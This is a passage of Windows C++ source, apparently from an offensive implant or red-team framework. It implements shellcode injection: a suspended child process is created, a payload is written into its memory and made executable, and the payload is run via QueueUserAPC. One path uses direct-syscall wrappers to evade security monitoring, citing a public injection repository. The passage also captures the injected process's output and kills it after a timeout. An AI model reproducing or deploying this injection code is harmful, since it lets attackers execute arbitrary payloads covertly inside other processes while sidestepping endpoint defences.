bSuccess=ReadFile( hChildStdOutRd, chBuf, BUFSIZE, &dwRead, NULL);
|
|
if( ! bSuccess || dwRead == 0 )
|
|
break;
|
|
|
|
std::string s(chBuf, dwRead);
|
|
out += s;
|
|
}
|
|
|
|
DWORD bytesAvailableErr = 0;
|
|
if (PeekNamedPipe(hChildStdErrRd, NULL, 0, NULL, &bytesAvailableErr, NULL) && bytesAvailableErr > 0)
|
|
{
|
|
bSuccess=ReadFile( hChildStdErrRd, chBuf, BUFSIZE, &dwRead, NULL);
|
|
if( ! bSuccess || dwRead == 0 )
|
|
break;
|
|
|
|
std::string s(chBuf, dwRead);
|
|
err += s;
|
|
}
|
|
|
|
DWORD exitCode;
|
|
if (GetExitCodeProcess(piProcInfo.hProcess, &exitCode) && exitCode != STILL_ACTIVE && bytesAvailableOut==0 && bytesAvailableErr==0)
|
|
break;
|
|
|
|
std::this_thread::sleep_for(std::chrono::milliseconds(5));
|
|
}
|
|
|
|
m_isProcessRuning = false;
|
|
|
|
CloseHandle(hChildStdErrWr);
|
|
CloseHandle(hChildStdOutWr);
|
|
DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
|
|
DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
|
|
CloseHandle(hChildStdErrRd);
|
|
CloseHandle(hChildStdOutRd);
|
|
|
|
CloseHandle(hParentProcess);
|
|
|
|
thread.join();
|
|
|
|
result += "Stdout:\n";
|
|
result += out;
|
|
result += "\n";
|
|
if(!err.empty())
|
|
{
|
|
result += "Stderr:\n";
|
|
result += err;
|
|
result += "\n";
|
|
}
|
|
|
|
CloseHandle(piProcInfo.hProcess);
|
|
CloseHandle(piProcInfo.hThread);
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
int AssemblyExec::createNewProcess(const std::string& payload, const std::string& processToSpawn, std::string& result)
|
|
{
|
|
HANDLE hChildStdOutRd = NULL;
|
|
HANDLE hChildStdOutWr = NULL;
|
|
HANDLE hChildStdErrRd = NULL;
|
|
HANDLE hChildStdErrWr = NULL;
|
|
|
|
SECURITY_ATTRIBUTES sa;
|
|
// Set the bInheritHandle flag so pipe handles are inherited.
|
|
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
|
|
sa.bInheritHandle = TRUE;
|
|
sa.lpSecurityDescriptor = NULL;
|
|
CreatePipe(&hChildStdErrRd, &hChildStdErrWr, &sa, 0);
|
|
SetHandleInformation(hChildStdErrRd, HANDLE_FLAG_INHERIT, 0);
|
|
CreatePipe(&hChildStdOutRd, &hChildStdOutWr, &sa, 0);
|
|
SetHandleInformation(hChildStdOutRd, HANDLE_FLAG_INHERIT, 0);
|
|
|
|
// Create the child process.
|
|
PROCESS_INFORMATION piProcInfo;
|
|
STARTUPINFO siStartInfo;
|
|
bool bSuccess = FALSE;
|
|
|
|
// Set up members of the PROCESS_INFORMATION structure.
|
|
ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) );
|
|
|
|
// Set up members of the STARTUPINFO structure.
|
|
// This structure specifies the STDERR and STDOUT handles for redirection.
|
|
ZeroMemory( &siStartInfo, sizeof(STARTUPINFO) );
|
|
siStartInfo.cb = sizeof(STARTUPINFO);
|
|
siStartInfo.hStdError = hChildStdErrWr;
|
|
siStartInfo.hStdOutput = hChildStdOutWr;
|
|
siStartInfo.dwFlags |= STARTF_USESTDHANDLES;
|
|
|
|
// Create the child process.
|
|
bSuccess = CreateProcess(NULL, const_cast<LPSTR>(processToSpawn.c_str()), NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &siStartInfo, &piProcInfo);
|
|
CloseHandle(hChildStdErrWr);
|
|
CloseHandle(hChildStdOutWr);
|
|
|
|
// If an error occurs, exit the application.
|
|
if ( ! bSuccess )
|
|
{
|
|
result += "Error: Process failed to start.\n";
|
|
return -1;
|
|
}
|
|
|
|
PVOID remoteBuffer;
|
|
if(m_useSyscall)
|
|
{
|
|
// https://github.com/0xrob/XOR-Shellcode-QueueUserAPC-Syscall/blob/main/queueUserAPC-XOR/Source.cpp
|
|
SIZE_T sizeToAlloc = payload.size();
|
|
|
|
remoteBuffer=NULL;
|
|
Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
|
|
SIZE_T NumberOfBytesWritten;
|
|
Sw3NtWriteVirtualMemory_(piProcInfo.hProcess, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten);
|
|
|
|
ULONG oldAccess;
|
|
Sw3NtProtectVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess);
|
|
|
|
Sw3NtQueueApcThread_(piProcInfo.hThread, (PIO_APC_ROUTINE)remoteBuffer, remoteBuffer, (PIO_STATUS_BLOCK)NULL, NULL);
|
|
Sw3NtResumeThread_(piProcInfo.hThread, (PULONG)NULL);
|
|
}
|
|
else
|
|
{
|
|
remoteBuffer = VirtualAllocEx(piProcInfo.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
|
|
|
|
WriteProcessMemory(piProcInfo.hProcess, remoteBuffer, payload.data(), payload.size(), NULL);
|
|
|
|
DWORD oldprotect = 0;
|
|
VirtualProtectEx(piProcInfo.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
|
|
|
|
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer;
|
|
QueueUserAPC((PAPCFUNC)apcRoutine, piProcInfo.hThread, NULL);
|
|
ResumeThread(piProcInfo.hThread);
|
|
}
|
|
|
|
m_isProcessRuning=true;
|
|
m_processHandle = piProcInfo.hProcess;
|
|
std::thread thread([this] { killProcess(); });
|
|
|
|
DWORD dwRead;
|
|
CHAR chBuf[BUFSIZE];
|
|
bSuccess = FALSE;
|
|
std::string out = "";
|
|
std::string err = "";
|
|
for (;;)
|
|
{
|
|
DWORD bytesAvailableOut = 0;
|
|
if (PeekNamedPipe(hChildStdOutRd, NULL, 0, NULL, &bytesAvailableOut, NULL) && bytesAvailableOut > 0)
|
|
{
|
|
bSuccess=ReadFile( hChildStdOutRd, chBuf, BUFSIZE, &dwRead, NULL);
|
|
if( ! bSuccess || dwRead == 0 )
|
|
break;
|
|
|
|
std::string s(chBuf, dwRead);
|
|
out += s;
|
|
}
|
|
|
|
DWORD bytesAvailableErr = 0;
|
|
if (PeekNamedPipe(hChildStdErrRd, NULL, 0, NULL, &bytesAvailableErr, NULL) && bytesAvailableErr > 0)
|
|
{
|
|
bSuccess=ReadFile( hChildStdErrRd, chBuf, BUFSIZE, &dwRead, NULL);
|
|
if( ! bSuccess || dwRead == 0 )
|
|
break;
|
|
|
|
std::string s(chBuf, dwRead);
|
|
err += s;
|
|
}
|
|
|
|
DWORD exitCode;
|
|
if (GetExitCodeProcess(piProcInfo.hProcess, &exitCode) && exitCode != STILL_ACTIVE && bytesAvailableOut==0 && bytesAvailableErr==0)
|
|
break;
|
|
|
|
std::this_thread::sleep_for(std::chrono::milliseconds(5));
|
|
}
|
|
|
|
m_isProcessRuning = false;
|
|
CloseHandle(hChildStdErrRd);
|
|
CloseHandle(hChildStdOutRd);
|
|
|
|
thread.join();
|
|
|
|
result += "Stdout:\n";
|
|
result += out;
|
|
result += "\n";
|
|
if(!err.empty())
|
|
{
|
|
result += "Stderr:\n";
|
|
result += err;
|
|
result += "\n";
|
|
}
|
|
|
|
CloseHandle(piProcInfo.hProcess);
|
|
CloseHandle(piProcInfo.hThread);
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
int AssemblyExec::killProcess()
|
|
{
|
|
std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now();
|
|
while (1)
|
|
{
|
|
if (!m_isProcessRuning)
|
|
break;
|
|
|
|
std::chrono::steady_clock::time_point now = std::chrono::steady_clock::now();
|
|
auto elapse = std::chrono::duration_cast<std::chrono::seconds>(now - begin).count();
|
|
if(elapse>=maxDurationShellCode)
|
|
{
|
|
TerminateProcess(m_processHandle, 0);
|
|
break;
|
|
}
|
|
std::this_thread::sleep_for(std::chrono::milliseconds(100));
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
#endif
|